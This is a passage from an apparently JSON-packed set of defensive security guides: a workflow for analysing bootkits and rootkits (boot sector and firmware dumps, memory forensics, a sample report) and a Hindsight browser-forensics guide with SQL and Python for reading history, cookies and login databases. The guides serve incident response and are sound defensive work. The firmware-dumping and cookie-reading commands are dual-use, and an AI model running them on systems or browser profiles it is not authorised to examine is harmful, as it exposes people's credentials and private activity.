DE.CM-01\nmitre_attack:\n- T1542.003\n- T1542.001\n- T1542.002\n- T1014\n- T1547.006\n---\n\n# Analyzing Bootkit and Rootkit Samples\n\n## When to Use\n\n- A system shows signs of compromise that persist through OS reinstallation\n- Antivirus and EDR are unable to detect malware despite clear evidence of compromise\n- UEFI Secure Boot has been disabled or shows integrity violations\n- Memory forensics reveals rootkit behavior (hidden processes, hooked system calls)\n- Investigating nation-state level threats known to deploy bootkits (APT28, APT41, Equation Group)\n\n**Do not use** for standard user-mode malware; bootkits and rootkits operate at a fundamentally different level requiring specialized analysis techniques.\n\n## Prerequisites\n\n- Disk imaging tools (dd, FTK Imager) for acquiring MBR/VBR sectors\n- UEFITool for UEFI firmware volume analysis and module extraction\n- chipsec for hardware-level firmware security assessment\n- Ghidra with x86 real-mode and 16-bit support for MBR code analysis\n- Volatility 3 for kernel-level rootkit artifact detection\n- Bootable Linux live USB for offline system analysis\n\n## Workflow\n\n### Step 1: Acquire Boot Sectors and Firmware\n\nExtract MBR, VBR, and UEFI firmware for offline analysis:\n\n```bash\n# Acquire MBR (first 512 bytes of disk)\ndd if=/dev/sda of=mbr.bin bs=512 count=1\n\n# Acquire first track (usually contains bootkit code beyond MBR)\ndd if=/dev/sda of=first_track.bin bs=512 count=63\n\n# Acquire VBR (Volume Boot Record - first sector of partition)\ndd if=/dev/sda1 of=vbr.bin bs=512 count=1\n\n# Acquire UEFI System Partition\nmkdir /mnt/efi\nmount /dev/sda1 /mnt/efi\ncp -r /mnt/efi/EFI /analysis/efi_backup/\n\n# Dump UEFI firmware (requires chipsec or flashrom)\n# Using chipsec:\npython chipsec_util.py spi dump firmware.rom\n\n# Using flashrom:\nflashrom -p internal -r firmware.rom\n\n# Verify firmware dump integrity\nsha256sum firmware.rom\n```\n\n### Step 2: Analyze MBR/VBR for Bootkit Code\n\nExamine boot sector code for malicious modifications:\n\n```bash\n# Disassemble MBR code (16-bit real mode)\nndisasm -b16 mbr.bin > mbr_disasm.txt\n\n# Compare MBR with known-good Windows MBR\n# Standard Windows MBR begins with: EB 5A 90 (JMP 0x5C, NOP)\n# Standard Windows 10 MBR: 33 C0 8E D0 BC 00 7C (XOR AX,AX; MOV SS,AX; MOV SP,7C00h)\n\npython3 << 'PYEOF'\nwith open(\"mbr.bin\", \"rb\") as f:\n    mbr = f.read()\n\n# Check MBR signature (bytes 510-511 should be 0x55AA)\nif mbr[510:512] == b'\\x55\\xAA':\n    print(\"[*] Valid MBR signature (0x55AA)\")\nelse:\n    print(\"[!] Invalid MBR signature\")\n\n# Check for known bootkit signatures\nbootkit_sigs = {\n    b'\\xE8\\x00\\x00\\x5E\\x81\\xEE': \"TDL4/Alureon bootkit\",\n    b'\\xFA\\x33\\xC0\\x8E\\xD0\\xBC\\x00\\x7C\\x8B\\xF4\\x50\\x07': \"Standard Windows MBR (clean)\",\n    b'\\xEB\\x5A\\x90\\x4E\\x54\\x46\\x53': \"Standard NTFS VBR (clean)\",\n}\n\nfor sig, name in bootkit_sigs.items():\n    if sig in mbr:\n        print(f\"[{'!' if 'clean' not in name else '*'}] Signature match: {name}\")\n\n# Check partition table entries\nprint(\"\\nPartition Table:\")\nfor i in range(4):\n    offset = 446 + (i * 16)\n    entry = mbr[offset:offset+16]\n    if entry != b'\\x00' * 16:\n        boot_flag = \"Active\" if entry[0] == 0x80 else \"Inactive\"\n        part_type = entry[4]\n        start_lba = int.from_bytes(entry[8:12], 'little')\n        size_lba = int.from_bytes(entry[12:16], 'little')\n        print(f\"  Partition {i+1}: Type=0x{part_type:02X} {boot_flag} Start=LBA {start_lba} Size={size_lba} sectors\")\nPYEOF\n```\n\n### Step 3: Analyze UEFI Firmware for Implants\n\nInspect UEFI firmware volumes for unauthorized modules:\n\n```bash\n# Extract UEFI firmware components with UEFITool\n# GUI: Open firmware.rom -> Inspect firmware volumes\n# CLI:\nUEFIExtract firmware.rom all\n\n# List all DXE drivers (most common target for UEFI implants)\nfind firmware.rom.dump -name \"*.efi\" -exec file {} \\;\n\n# Compare against known-good firmware module list\n# Each UEFI module has a GUID - compare against vendor baseline\n\n# Verify Secure Boot configuration\npython chipsec_main.py -m common.secureboot.variables\n\n# Check SPI flash write protection\npython chipsec_main.py -m common.bios_wp\n\n# Check for known UEFI malware patterns\nyara -r uefi_malware.yar firmware.rom\n```\n\n```\nKnown UEFI Bootkit Detection Points:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nLoJax (APT28):\n  - Modified SPI flash\n  - Added DXE driver that drops agent to Windows\n  - Persists through OS reinstall and disk replacement\n\nBlackLotus:\n  - Exploits CVE-2022-21894 to bypass Secure Boot\n  - Modifies EFI System Partition bootloader\n  - Installs kernel driver during boot\n\nCosmicStrand:\n  - Modifies CORE_DXE firmware module\n  - Hooks kernel initialization during boot\n  - Drops shellcode into Windows kernel memory\n\nMoonBounce:\n  - SPI flash implant in CORE_DXE module\n  - Modified GetVariable() function\n  - Deploys user-mode implant through boot chain\n\nESPecter:\n  - Modifies Windows Boot Manager on ESP\n  - Patches winload.efi to disable DSE\n  - Loads unsigned kernel driver\n```\n\n### Step 4: Detect Kernel-Level Rootkit Behavior\n\nAnalyze the running system for rootkit artifacts:\n\n```bash\n# Memory forensics for rootkit detection\n# SSDT hook detection\nvol3 -f memory.dmp windows.ssdt | grep -v \"ntoskrnl\\|win32k\"\n\n# Hidden processes (DKOM)\nvol3 -f memory.dmp windows.psscan > psscan.txt\nvol3 -f memory.dmp windows.pslist > pslist.txt\n# Diff to find hidden processes\n\n# Kernel callback registration (rootkits register callbacks for filtering)\nvol3 -f memory.dmp windows.callbacks\n\n# Driver analysis\nvol3 -f memory.dmp windows.driverscan\nvol3 -f memory.dmp windows.modules\n\n# Check for unsigned drivers\nvol3 -f memory.dmp windows.driverscan | while read line; do\n    driver_path=$(echo \"$line\" | awk '{print $NF}')\n    if [ -f \"$driver_path\" ]; then\n        sigcheck -nobanner \"$driver_path\" 2>/dev/null | grep \"Unsigned\"\n    fi\ndone\n\n# IDT hook detection\nvol3 -f memory.dmp windows.idt\n```\n\n### Step 5: Boot Process Integrity Verification\n\nVerify the integrity of the entire boot chain:\n\n```bash\n# Verify Windows Boot Manager signature\nsigcheck -a C:\\Windows\\Boot\\EFI\\bootmgfw.efi\n\n# Verify winload.efi\nsigcheck -a C:\\Windows\\System32\\winload.efi\n\n# Verify ntoskrnl.exe\nsigcheck -a C:\\Windows\\System32\\ntoskrnl.exe\n\n# Check Measured Boot logs (if TPM is available)\n# Windows: BCDEdit /enum firmware\nbcdedit /enum firmware\n\n# Verify Secure Boot state\nConfirm-SecureBootUEFI  # PowerShell cmdlet\n\n# Check boot configuration for tampering\nbcdedit /v\n\n# Look for boot configuration changes\n# testsigning: should be No\n# nointegritychecks: should be No\n# debug: should be No\nbcdedit | findstr /i \"testsigning nointegritychecks debug\"\n```\n\n### Step 6: Document Bootkit/Rootkit Analysis\n\nCompile comprehensive analysis findings:\n\n```\nAnalysis should document:\n- Boot sector (MBR/VBR) integrity status with hex comparison\n- UEFI firmware module inventory and integrity verification\n- Secure Boot status and any bypass mechanisms detected\n- Kernel-level hooks (SSDT, IDT, IRP, inline) identified\n- Hidden processes, drivers, and files discovered\n- Persistence mechanism (SPI flash, ESP, MBR, kernel driver)\n- Boot chain integrity verification results\n- Attribution to known bootkit families if possible\n- Remediation steps (reflash firmware, rebuild MBR, replace hardware)\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Bootkit** | Malware that infects the boot process (MBR, VBR, UEFI) to execute before the operating system loads, gaining persistent low-level control |\n| **MBR (Master Boot Record)** | First 512 bytes of a disk containing bootstrap code and partition table; MBR bootkits replace this code with malicious loaders |\n| **UEFI (Unified Extensible Firmware Interface)** | Modern firmware interface replacing BIOS; UEFI bootkits implant malicious modules in firmware volumes or modify the ESP |\n| **Secure Boot** | UEFI security feature verifying digital signatures of boot components; bootkits like BlackLotus exploit vulnerabilities to bypass it |\n| **SPI Flash** | Flash memory chip storing UEFI firmware; advanced bootkits like LoJax and MoonBounce modify SPI flash for firmware-level persistence |\n| **DKOM (Direct Kernel Object Manipulation)** | Rootkit technique modifying kernel structures to hide processes, files, and network connections without hooking functions |\n| **Driver Signature Enforcement (DSE)** | Windows security feature requiring kernel drivers to be digitally signed; bootkits disable DSE during boot to load unsigned rootkit drivers |\n\n## Tools & Systems\n\n- **UEFITool**: Open-source UEFI firmware image editor and parser for inspecting firmware volumes, drivers, and modules\n- **chipsec**: Intel hardware security assessment framework for verifying SPI flash protection, Secure Boot, and UEFI configuration\n- **Volatility**: Memory forensics framework with SSDT, IDT, callback, and driver analysis plugins for kernel rootkit detection\n- **GMER**: Windows rootkit detection tool scanning for SSDT hooks, IDT hooks, hidden processes, and modified kernel modules\n- **Bootkits Analyzer**: Specialized tool for analyzing MBR/VBR code including disassembly and comparison against known-good baselines\n\n## Common Scenarios\n\n### Scenario: Investigating Persistent Compromise Surviving OS Reinstallation\n\n**Context**: An organization reimaged a compromised workstation, but the same C2 beaconing resumed within hours. Standard disk forensics finds no malware. UEFI bootkit is suspected.\n\n**Approach**:\n1. Boot from a Linux live USB to avoid executing any compromised OS components\n2. Dump the SPI flash firmware using chipsec or flashrom for offline analysis\n3. Dump the MBR and VBR sectors with dd for boot sector analysis\n4. Copy the EFI System Partition for bootloader integrity verification\n5. Open the SPI dump in UEFITool and compare module GUIDs against vendor-provided firmware\n6. Look for additional or modified DXE drivers that should not be present\n7. Analyze any suspicious modules with Ghidra (x86_64 UEFI module format)\n8. Verify Secure Boot configuration and check for exploit-based bypasses\n\n**Pitfalls**:\n- Analyzing the system while the compromised OS is running (rootkit may hide from live analysis)\n- Not checking SPI flash (only analyzing disk-based boot components misses firmware-level implants)\n- Assuming Secure Boot prevents all bootkits (known bypasses exist, e.g., CVE-2022-21894)\n- Not preserving the original firmware dump before reflashing (critical evidence for attribution)\n\n## Output Format\n\n```\nBOOTKIT / ROOTKIT ANALYSIS REPORT\n====================================\nSystem:           Dell OptiPlex 7090 (UEFI, TPM 2.0)\nFirmware Version: 1.15.0 (Dell)\nSecure Boot:      ENABLED (but bypassed)\nCapture Method:   Linux Live USB + chipsec SPI dump\n\nMBR/VBR ANALYSIS\nMBR Signature:    Valid (0x55AA)\nMBR Code:         MATCHES standard Windows 10 MBR (clean)\nVBR Code:         MATCHES standard NTFS VBR (clean)\n\nUEFI FIRMWARE ANALYSIS\nTotal Modules:    287\nVendor Expected:  285\nExtra Modules:    2 UNAUTHORIZED\n  [!] DXE Driver GUID: {ABCD1234-...} \"SmmAccessDxe_mod\" (MODIFIED)\n      Original Size: 12,288 bytes\n      Current Size:  45,056 bytes (32KB ADDED)\n      Entropy: 7.82 (HIGH - encrypted payload)\n\n  [!] DXE Driver GUID: {EFGH5678-...} \"UefiPayloadDxe\" (NEW - not in vendor firmware)\n      Size: 28,672 bytes\n      Function: Drops persistence agent during boot\n\nBOOT CHAIN INTEGRITY\nbootmgfw.efi:     MODIFIED (hash mismatch, Secure Boot bypass via CVE-2022-21894)\nwinload.efi:      MODIFIED (DSE disabled at load time)\nntoskrnl.exe:     CLEAN (but unsigned driver loaded after boot)\n\nKERNEL ROOTKIT COMPONENTS\nDriver:           C:\\Windows\\System32\\drivers\\null_mod.sys (unsigned, hidden)\nSSDT Hooks:       3 (NtQuerySystemInformation, NtQueryDirectoryFile, NtDeviceIoControlFile)\nHidden Processes: 2 (PID 6784: beacon.exe, PID 6812: keylog.exe)\nHidden Files:     C:\\Windows\\System32\\drivers\\null_mod.sys\n\nATTRIBUTION\nFamily:           BlackLotus variant\nConfidence:       HIGH (CVE-2022-21894 exploit, ESP modification pattern matches)\n\nREMEDIATION\n1. Reflash SPI firmware with clean vendor image via hardware programmer\n2. Rebuild EFI System Partition from clean Windows installation media\n3. Reinstall OS from verified media\n4. Enable all firmware write protections\n5. Update firmware to latest version (patches CVE-2022-21894)\n```\n","skills/analyzing-bootkit-and-rootkit-samples/references/api-reference.md":"# API Reference: Bootkit and Rootkit Analysis Tools\n\n## dd - Boot Sector Extraction\n\n### Syntax\n```bash\ndd if=/dev/sda of=mbr.bin bs=512 count=1          # MBR\ndd if=/dev/sda of=first_track.bin bs=512 count=63  # First track\ndd if=/dev/sda1 of=vbr.bin bs=512 count=1          # VBR\n```\n\n## ndisasm - 16-bit Disassembly\n\n### Syntax\n```bash\nndisasm -b16 mbr.bin > mbr_disasm.txt\nndisasm -b16 -o 0x7C00 mbr.bin   # Set origin to MBR load address\n```\n\n### Key Flags\n| Flag | Description |\n|------|-------------|\n| `-b16` | 16-bit real-mode disassembly |\n| `-b32` | 32-bit protected-mode |\n| `-o` | Origin address offset |\n\n## UEFITool - Firmware Analysis\n\n### CLI Syntax\n```bash\nUEFIExtract firmware.rom all             # Extract all modules\nUEFIExtract firmware.rom <GUID> body     # Extract specific module body\n```\n\n### Output\nExtracts firmware volumes into a directory tree with each DXE driver, PEI module, and option ROM as separate files identified by GUID.\n\n## chipsec - Hardware Security Assessment\n\n### Syntax\n```bash\npython chipsec_main.py -m common.secureboot.variables  # Check Secure Boot\npython chipsec_main.py -m common.bios_wp               # SPI write protection\npython chipsec_main.py -m common.spi_lock               # SPI lock status\npython chipsec_util.py spi dump firmware.rom            # Dump SPI flash\n```\n\n### Key Modules\n| Module | Purpose |\n|--------|---------|\n| `common.secureboot.variables` | Verify Secure Boot configuration |\n| `common.bios_wp` | Check BIOS write protection |\n| `common.spi_lock` | Verify SPI flash lock bits |\n| `common.smm` | SMM protection verification |\n\n## Volatility 3 - Rootkit Detection Plugins\n\n### Syntax\n```bash\nvol3 -f memory.dmp <plugin>\n```\n\n### Rootkit Detection Plugins\n| Plugin | Purpose |\n|--------|---------|\n| `windows.ssdt` | System Service Descriptor Table hooks |\n| `windows.callbacks` | Kernel callback registrations |\n| `windows.driverscan` | Scan for driver objects |\n| `windows.modules` | List loaded kernel modules |\n| `windows.psscan` | Pool-tag scan for processes (finds hidden) |\n| `windows.pslist` | Active process list (DKOM-affected) |\n| `windows.idt` | Interrupt Descriptor Table hooks |\n\n### Output Format\n```\nOffset  Order  Module         Section  Owner\n------- -----  ------         -------  -----\n0x...   0      ntoskrnl.exe   .text    ntoskrnl.exe\n0x...   73     UNKNOWN        -        rootkit.sys   ← suspicious\n```\n\n## flashrom - SPI Flash Dumping\n\n### Syntax\n```bash\nflashrom -p internal -r firmware.rom     # Read/dump\nflashrom -p internal -w clean.rom        # Write/reflash\nflashrom -p internal --verify clean.rom  # Verify flash contents\n```\n\n## YARA - Firmware Pattern Scanning\n\n### Syntax\n```bash\nyara -r uefi_malware.yar firmware.rom\nyara -s -r rules.yar firmware.rom   # Show matching strings\n```\n","skills/analyzing-browser-forensics-with-hindsight/SKILL.md":"---\nname: analyzing-browser-forensics-with-hindsight\ndescription: Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user's web activity from a browser profile.\ndomain: cybersecurity\nsubdomain: digital-forensics\ntags:\n- browser-forensics\n- hindsight\n- chrome-forensics\n- chromium\n- edge\n- browsing-history\n- cookies\n- downloads\n- cache\n- web-artifacts\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- RS.AN-03\n- DE.AE-02\n- RS.MA-01\nmitre_attack:\n- T1217\n- T1539\n- T1555.003\n- T1185\n---\n\n# Analyzing Browser Forensics with Hindsight\n\n## Overview\n\nHindsight is an open-source browser forensics tool designed to parse artifacts from Google Chrome and other Chromium-based browsers (Microsoft Edge, Brave, Opera, Vivaldi). It extracts and correlates data from multiple browser database files to create a unified timeline of web activity. Hindsight can parse URLs, download history, cache records, bookmarks, autofill records, saved passwords, preferences, browser extensions, HTTP cookies, Local Storage (HTML5 cookies), login data, and session/tab information. The tool produces chronological timelines in multiple output formats (XLSX, JSON, SQLite) that enable investigators to reconstruct user web activity for incident response, insider threat investigations, and criminal cases.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing browser forensics with hindsight\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.8+ with Hindsight installed (`pip install pyhindsight`)\n- Access to browser profile directories from forensic image\n- Browser profile data (not encrypted with OS-level encryption)\n- Timeline Explorer or spreadsheet application for analysis\n\n## Browser Profile Locations\n\n| Browser | Windows Profile Path |\n|---------|---------------------|\n| Chrome | %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\ |\n| Edge | %LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\ |\n| Brave | %LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data\\Default\\ |\n| Opera | %APPDATA%\\Opera Software\\Opera Stable\\ |\n| Vivaldi | %LOCALAPPDATA%\\Vivaldi\\User Data\\Default\\ |\n| Chrome (macOS) | ~/Library/Application Support/Google/Chrome/Default/ |\n| Chrome (Linux) | ~/.config/google-chrome/Default/ |\n\n## Key Artifact Files\n\n| File | Contents |\n|------|----------|\n| History | URL visits, downloads, keyword searches |\n| Cookies | HTTP cookies with domain, expiry, values |\n| Web Data | Autofill entries, saved credit cards |\n| Login Data | Saved usernames/passwords (encrypted) |\n| Bookmarks | JSON bookmark tree |\n| Preferences | Browser configuration and extensions |\n| Local Storage/ | HTML5 Local Storage per domain |\n| Session Storage/ | Session-specific storage per domain |\n| Network Action Predictor | Previously typed URLs |\n| Shortcuts | Omnibox shortcuts and predictions |\n| Top Sites | Frequently visited sites |\n\n## Running Hindsight\n\n### Command Line\n\n```bash\n# Basic analysis of a Chrome profile\nhindsight.exe -i \"C:\\Evidence\\Users\\suspect\\AppData\\Local\\Google\\Chrome\\User Data\\Default\" -o C:\\Output\\chrome_analysis\n\n# Specify browser type\nhindsight.exe -i \"/path/to/profile\" -o /output/analysis -b Chrome\n\n# JSON output format\nhindsight.exe -i \"C:\\Evidence\\Chrome\\Default\" -o C:\\Output\\chrome --format jsonl\n\n# With cache parsing (slower but more complete)\nhindsight.exe -i \"C:\\Evidence\\Chrome\\Default\" -o C:\\Output\\chrome --cache\n```\n\n### Web UI\n\n```bash\n# Start Hindsight web interface\nhindsight_gui.exe\n# Navigate to http://localhost:8080\n# Upload or point to browser profile directory\n# Configure output format and analysis options\n# Generate and download report\n```\n\n## Artifact Analysis Details\n\n### URL History and Visits\n\n```sql\n-- Chrome History database schema (key tables)\n-- urls table: id, url, title, visit_count, typed_count, last_visit_time\n-- visits table: id, url, visit_time, from_visit, transition, segment_id\n\n-- Timestamps are Chrome/WebKit format: microseconds since 1601-01-01\n-- Convert: datetime((visit_time/1000000)-11644473600, 'unixepoch')\n```\n\n### Download History\n\n```sql\n-- downloads table: id, current_path, target_path, start_time, end_time,\n--   received_bytes, total_bytes, state, danger_type, interrupt_reason,\n--   url, referrer, tab_url, mime_type, original_mime_type\n```\n\n### Cookie Analysis\n\n```sql\n-- cookies table: creation_utc, host_key, name, value, encrypted_value,\n--   path, expires_utc, is_secure, is_httponly, last_access_utc,\n--   has_expires, is_persistent, priority, samesite\n```\n\n## Python Analysis Script\n\n```python\nimport sqlite3\nimport os\nimport json\nimport sys\nfrom datetime import datetime, timedelta\n\n\nCHROME_EPOCH = datetime(1601, 1, 1)\n\n\ndef chrome_time_to_datetime(chrome_ts: int):\n    \"\"\"Convert Chrome timestamp to datetime.\"\"\"\n    if chrome_ts == 0:\n        return None\n    try:\n        return CHROME_EPOCH + timedelta(microseconds=chrome_ts)\n    except (OverflowError, OSError):\n        return None\n\n\ndef analyze_chrome_history(profile_path: str, output_dir: str) -> dict:\n    \"\"\"Analyze Chrome History database for forensic evidence.\"\"\"\n    history_db = os.path.join(profile_path, \"History\")\n    if not os.path.exists(history_db):\n        return {\"error\": \"History database not found\"}\n\n    os.makedirs(output_dir, exist_ok=True)\n    conn = sqlite3.connect(f\"file:{history_db}?mode=ro\", uri=True)\n\n    # URL visits with timestamps\n    cursor = conn.cursor()\n    cursor.execute(\"\"\"\n        SELECT u.url, u.title, v.visit_time, u.visit_count,\n               v.transition & 0xFF as transition_type\n        FROM visits v JOIN urls u ON v.url = u.id\n        ORDER BY v.visit_time DESC LIMIT 5000\n    \"\"\")\n    visits = [{\n        \"url\": r[0], \"title\": r[1],\n        \"visit_time\": str(chrome_time_to_datetime(r[2])),\n        \"total_visits\": r[3], \"transition\": r[4]\n    } for r in cursor.fetchall()]\n\n    # Downloads\n    cursor.execute(\"\"\"\n        SELECT target_path, tab_url, start_time, end_time,\n               received_bytes, total_bytes, mime_type, state\n        FROM downloads ORDER BY start_time DESC LIMIT 1000\n    \"\"\")\n    downloads = [{\n        \"path\": r[0], \"source_url\": r[1],\n        \"start_time\": str(chrome_time_to_datetime(r[2])),\n        \"end_time\": str(chrome_time_to_datetime(r[3])),\n        \"received_bytes\": r[4], \"total_bytes\": r[5],\n        \"mime_type\": r[6], \"state\": r[7]\n    } for r in cursor.fetchall()]\n\n    # Keyword searches\n    cursor.execute(\"\"\"\n        SELECT k.term, u.url, k.url_id\n        FROM keyword_search_terms k JOIN urls u ON k.url_id = u.id\n        ORDER BY u.last_visit_time DESC LIMIT 1000\n    \"\"\")\n    searches = [{\"term\": r[0], \"url\": r[1]} for r in cursor.fetchall()]\n\n    conn.close()\n\n    report = {\n        \"analysis_timestamp\": datetime.now().isoformat(),\n        \"profile_path\": profile_path,\n        \"total_visits\": len(visits),\n        \"total_downloads\": len(downloads),\n        \"total_searches\": len(searches),\n        \"visits\": visits,\n        \"downloads\": downloads,\n        \"searches\": searches\n    }\n\n    report_path = os.path.join(output_dir, \"browser_forensics.json\")\n    with open(report_path, \"w\") as f:\n        json.dump(report, f, indent=2)\n\n    return report\n\n\ndef main():\n    if len(sys.argv) < 3:\n        print(\"Usage: python process.py <chrome_profile_path> <output_dir>\")\n        sys.exit(1)\n    analyze_chrome_history(sys.argv[1], sys.argv[2])\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## References\n\n- Hindsight GitHub: https://github.com/obsidianforensics/hindsight\n- Chrome Forensics Guide: https://allenace.medium.com/hindsight-chrome-forensics-made-simple-425db99fa5ed\n- Browser Forensics Tools: https://www.cyberforensicacademy.com/blog/browser-forensics-tools-how-to-extract-user-activity\n- Chromium Source (History): https://source.chromium.org/chromium/chromium/src/+/main:components/history/\n\n## Example Output\n\n```text\n$ python hindsight.py -i /evidence/chrome-profile -o /analysis/hindsight_output\n\nHindsight v2024.01 - Chrome/Chromium Browser Forensic Analysis\n================================================================\n\nProfile: /evidence/chrome-profile (Chrome 120.0.6099.130)\nOS: Windows 10\n\n[+] Parsing History database...\n    URL records:          12,456\n    Download records:     234\n    Search terms:         567\n\n[+] Parsing Cookies database...\n    Cookie records:       8,923\n    Encrypted cookies:    6,712\n\n[+] Parsing Web Data (Autofill)...\n    Autofill entries:     1,234\n    Credit card entries:  2 (encrypted)\n\n[+] Parsing Login Data...\n    Saved credentials:    45 (encrypted)\n\n[+] Parsing Bookmarks...\n    Bookmark entries:     189\n\n--- Browsing History (Last 10 Entries) ---\nTimestamp (UTC)          | URL                                          | Title                        | Visit Count\n2024-01-15 14:32:05.123  | https://mail.corporate.com/inbox             | Corporate Mail                | 45\n2024-01-15 14:33:12.456  | https://drive.google.com/file/d/1aBcDe...    | Q4_Financial_Report.xlsx     | 1\n2024-01-15 14:35:44.789  | https://mega.nz/folder/xYz123               | MEGA - Secure Cloud          | 3\n2024-01-15 14:36:01.234  | https://mega.nz/folder/xYz123#upload        | MEGA - Upload                | 8\n2024-01-15 14:42:15.567  | https://pastebin.com/raw/kL9mN2pQ           | Pastebin (raw)               | 1\n2024-01-15 15:01:33.890  | https://192.168.1.50:8443/admin              | Admin Panel                  | 12\n2024-01-15 15:15:22.111  | https://transfer.sh/upload                  | transfer.sh                  | 2\n2024-01-15 15:30:45.222  | https://vpn-gateway.corporate.com            | VPN Login                    | 5\n2024-01-15 16:00:00.333  | https://whatismyipaddress.com                 | What Is My IP                | 1\n2024-01-15 16:05:12.444  | https://protonmail.com/inbox                 | ProtonMail                   | 3\n\n--- Downloads (Suspicious) ---\nTimestamp (UTC)          | Filename                    | URL Source                               | Size\n2024-01-15 14:33:15.000  | Q4_Financial_Report.xlsm   | https://phish-domain.com/docs/report     | 245 KB\n2024-01-15 14:34:02.000  | update_client.exe          | https://cdn.evil-updates.com/client.exe  | 1.2 MB\n\n--- Cookies (Session Tokens) ---\nDomain                   | Name              | Expires            | Secure | HttpOnly\n.corporate.com           | SESSION_ID        | 2024-01-16 14:32   | Yes    | Yes\n.mega.nz                 | session           | Session            | Yes    | Yes\n.protonmail.com          | AUTH-TOKEN        | 2024-02-15 00:00   | Yes    | Yes\n\nReport saved to: /analysis/hindsight_output/Hindsight_Report.xlsx\n```\n","skills/analyzing-browser-forensics-with-hindsight/assets/template.md":"# Browser Forensics Report\n## Case Info\n| Field | Value |\n|-------|-------|\n| Case Number | |\n| Browser | |\n| Profile Path | |\n## Activity Summary\n| Metric | Count |\n|--------|-------|\n| URL Visits | |\n| Downloads | |\n| Saved Passwords | |\n| Cookies | |\n## Notable URLs\n| Timestamp | URL | Title |\n|-----------|-----|-------|\n| | | |\n## Downloads\n| Timestamp | File | Source URL | Size |\n|-----------|------|-----------|------|\n| | | | |\n","skills/analyzing-browser-forensics-with-hindsight/references/api-reference.md":"# API Reference: Browser Forensics with Hindsight\n\n## Hindsight CLI\n\n### Syntax\n```bash\nhindsight.py -i <profile_path>                  # Analyze Chrome profile\nhindsight.py -i <path> -o <output_dir>          # Save results\nhindsight.py -i <path> -f xlsx                  # Export as Excel\nhindsight.py -i <path> -f sqlite                # Export as SQLite\nhindsight.py -i <path> -b <browser_type>        # Specify browser type\n```\n\n### Browser Types\n| Flag | Browser |\n|------|---------|\n| `Chrome` | Google Chrome |\n| `Edge` | Microsoft Edge (Chromium) |\n| `Brave` | Brave Browser |\n| `Opera` | Opera (Chromium) |\n\n### Output Artifacts\n| Table | Description |\n|-------|-------------|\n| `urls` | Browsing history with visit counts |\n| `downloads` | File downloads with source URLs |\n| `cookies` | Cookie values, domains, expiry |\n| `autofill` | Form autofill entries |\n| `bookmarks` | Saved bookmarks |\n| `preferences` | Browser configuration |\n| `local_storage` | Site local storage data |\n| `login_data` | Saved credential metadata |\n| `extensions` | Installed extensions with permissions |\n\n## Chrome SQLite Databases\n\n### History Database\n```sql\n-- Browsing history\nSELECT u.url, u.title, v.visit_time, v.transition\nFROM visits v JOIN urls u ON v.url = u.id\nORDER BY v.visit_time DESC;\n\n-- Downloads\nSELECT target_path, tab_url, total_bytes, start_time, danger_type, mime_type\nFROM downloads ORDER BY start_time DESC;\n```\n\n### Cookies Database\n```sql\nSELECT host_key, name, value, creation_utc, expires_utc, is_secure, is_httponly\nFROM cookies ORDER BY creation_utc DESC;\n```\n\n### Web Data Database (Autofill)\n```sql\nSELECT name, value, count, date_created, date_last_used\nFROM autofill ORDER BY date_last_used DESC;\n```\n\n## Chrome Timestamp Conversion\n\n### Format\nMicroseconds since January 1, 1601 (Windows FILETIME base)\n\n### Python Conversion\n```python\nimport datetime\ndef chrome_to_datetime(chrome_time):\n    epoch = datetime.datetime(1601, 1, 1)\n    return epoch + datetime.timedelta(microseconds=chrome_time)\n```\n\n## Browser Profile Paths\n\n| OS | Browser | Default Path |\n|----|---------|-------------|\n| Windows | Chrome | `%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default` |\n| Windows | Edge | `%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default` |\n| Linux | Chrome | `~/.config/google-chrome/Default` |\n| macOS | Chrome | `~/Library/Application Support/Google/Chrome/Default` |\n\n## Transition Types (visit_transition & 0xFF)\n| Value | Type | Description |\n|-------|------|-------------|\n| 0 | LINK | Clicked a link |\n| 1 | TYPED | Typed URL in address bar |\n| 2 | AUTO_BOOKMARK | Via bookmark |\n| 3 | AUTO_SUBFRAME | Subframe navigation |\n| 5 | GENERATED | Generated (e.g., search) |\n| 7 | FORM_SUBMIT | Form submission |\n| 8 | RELOAD | Page reload |\n","skills/analyzing-browser-forensics-with-hindsight/references/standards.md":"# Standards - Browser Forensics with Hindsight\n## Tools\n- Hindsight: https://github.com/obsidianforensics/hindsight\n- DB Browser for SQLite: Chrome database inspection\n- ChromeCacheView (NirSoft): Cache analysis\n## Browser Databases\n- History: URL visits, downloads, keyword searches\n- Cookies: HTTP cookies per domain\n- Web Data: Autofill, credit cards\n- Login Data: Saved credentials (encrypted)\n- Bookmarks: JSON bookmark tree\n## Timestamp Formats\n- Chrome/WebKit: microseconds since 1601-01-01 UTC\n- Firefox/Mozilla: microseconds since Unix epoch\n- Safari/Mac: seconds since 2001-01-01 UTC\n","skills/analyzing-browser-forensics-with-hindsight/references/workflows.md":"# Workflows - Browser Forensics\n## Workflow: Chrome Profile Analysis\n```\nLocate browser profile directory\n    |\nRun Hindsight against profile path\n    |\nReview generated timeline (XLSX/JSON)\n    |\nAnalyze URL history for suspicious sites\n    |\nCheck downloads for malware/exfiltrated data\n    |\nReview cookies for session hijacking evidence\n    |\nExamine autofill and saved credentials\n    |\nCorrelate browser activity with system timeline\n```\n","skills/analyzing-campaign-attribution-evidence/SKILL.md":"---\nname: analyzing-campaign-attribution-evidence\ndescription: Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.\ndomain: 